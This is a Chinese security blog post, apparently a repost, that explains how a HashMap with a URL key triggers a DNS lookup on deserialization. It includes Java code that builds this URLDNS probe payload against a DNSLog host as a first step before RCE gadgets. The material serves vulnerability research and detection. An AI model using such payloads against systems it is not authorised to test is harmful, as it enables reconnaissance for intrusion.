通过HashMap触发DNS检测Java反序列化漏洞

我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞，而除此以外针对不同的序列化格式又会产生不同的出发点，比如说fastjson会自动运行setter，getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API，比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是，你选择测试的gadget服务器正好没这个jar包或者更新过了，但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。

HashMap readObject & URLStreamHandler hashCode

HashMap最早出现在JDK 1.2中，底层基于散列算法实现。而正是因为在HashMap中，Entry的存放位置是根据Key的Hash值来计算，然后存放到数组中的。所以对于同一个Key，在不同的JVM实现中计算得出的Hash值可能是不同的。因此，HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题，所以我们来看一下它的readObject方法


前面主要是使用的一些防止数据不一致的方法，我们可以忽视。主要看putVal时候key进入了hash方法，跟进看

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。

很幸运的我们发现了URL类，它有一个有趣的特点，就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
 
        hashCode = handler.hashCode(this);
        return hashCode;
    }

我们可以继续跟进

protected int hashCode(URL u) {
        int h = 0;
 
        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();
 
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
 
        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();
 
        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();
 
        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();
 
        return h;
    }

主要就是这句代码了

InetAddress addr = getHostAddress(u);


很简单，就是这里最后触发了DNS查询。

也就是说我们现在思路是通过hashmap放入一个URL的key然后会触发DNS查询。这里需要注意一个点，就是在URLStreamHandler的hashCode方法中首先进行了一个缓存判断即如果不等于-1会直接return。

if (hashCode != -1)
            return hashCode;

因为在生成hashMap put时候会调用到hashCode方法，所以会缓存下来，即hashcode不为-1。所以为了让被接收者触发DNS查询，我们需要先通过反射把hashcode值改为-1，绕过缓存判断。

Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);

最后生成的代码为

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="http://1us794.ceye.io";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();

测试代码

ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();

调用栈



可以看到触发成功



ysoserial已经有加入这个方式 具体可见：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

参考：

https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

原文由http://rui0.cn/archives/1135